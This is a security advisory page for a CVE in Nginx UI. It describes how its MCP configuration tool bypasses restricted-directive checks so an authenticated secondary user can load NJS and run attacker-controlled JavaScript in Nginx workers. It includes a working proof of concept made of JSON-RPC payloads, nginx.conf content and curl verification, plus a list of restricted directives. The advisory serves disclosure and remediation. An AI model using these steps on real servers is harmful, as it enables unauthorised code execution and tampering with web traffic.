Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
CVE-2026-84319 · GHSA-5r62-gj48-897x · GO-2026-6774 · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 8.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-84319?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/0xJacky/Nginx-UI(Go) < 1.9.10-0.20260703131214-23d1934099b0
How to check
- Run
go list -m github.com/0xJacky/Nginx-UIin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260703131214-23d1934099b0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
The regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
## Affected component
- `/mcp`
- `/mcp_message`
- MCP tool: `nginx_config_add`
- Nginx configuration validation
## Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
## Minimal PoC
### Preconditions
- Attacker has a secondary authenticated Nginx UI account.
- MCP is enabled.
- Nginx has NJS available:
```bash
find / -name "ngx_http_js_module.so" 2>/dev/null
```
Observed in the lab:
```text
/usr/lib/nginx/modules/ngx_http_js_module.so
```
### 1. HTTP API blocks the restricted config
Request:
```http
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json
```
Body:
```json
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
```
Observed result:
```text
Rejected because the content contains restricted directives such as load_module/js_import/js_content.
```
### 2. MCP writes the JavaScript file
Open an MCP session and call `tools/call` with:
```json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}
```
### 3. MCP writes the NJS-enabled nginx.conf
Call `tools/call` again:
```json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}
```
### 4. Verify NJS execution
Inside the Nginx UI container:
```bash
curl -i http://127.0.0.1:18249/__poc
```
Observed response:
```http
HTTP/1.1 200 OK
MCP_NJS_MARKER
```
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
## Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
## Suggested fix
Apply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
- `load_module`
- `js_import`
- `js_content`
- `js_set`
- `perl_set`
- `user root`
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x
- nvd.nist.gov/vuln/detail/CVE-2026-84319
- github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- github.com/advisories/GHSA-5r62-gj48-897x
Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON